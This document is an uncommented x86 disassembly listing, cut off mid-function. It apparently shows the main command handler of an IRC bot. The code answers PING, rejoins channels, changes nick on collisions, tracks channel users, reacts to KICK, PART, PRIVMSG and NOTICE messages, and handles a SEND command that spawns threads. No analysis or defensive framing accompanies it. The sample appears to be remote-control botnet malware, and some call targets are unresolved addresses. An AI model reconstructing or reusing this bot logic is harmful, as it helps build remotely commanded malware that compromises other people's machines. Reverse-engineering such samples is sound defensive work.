var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D128 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D120 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D060


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D03C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D020
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
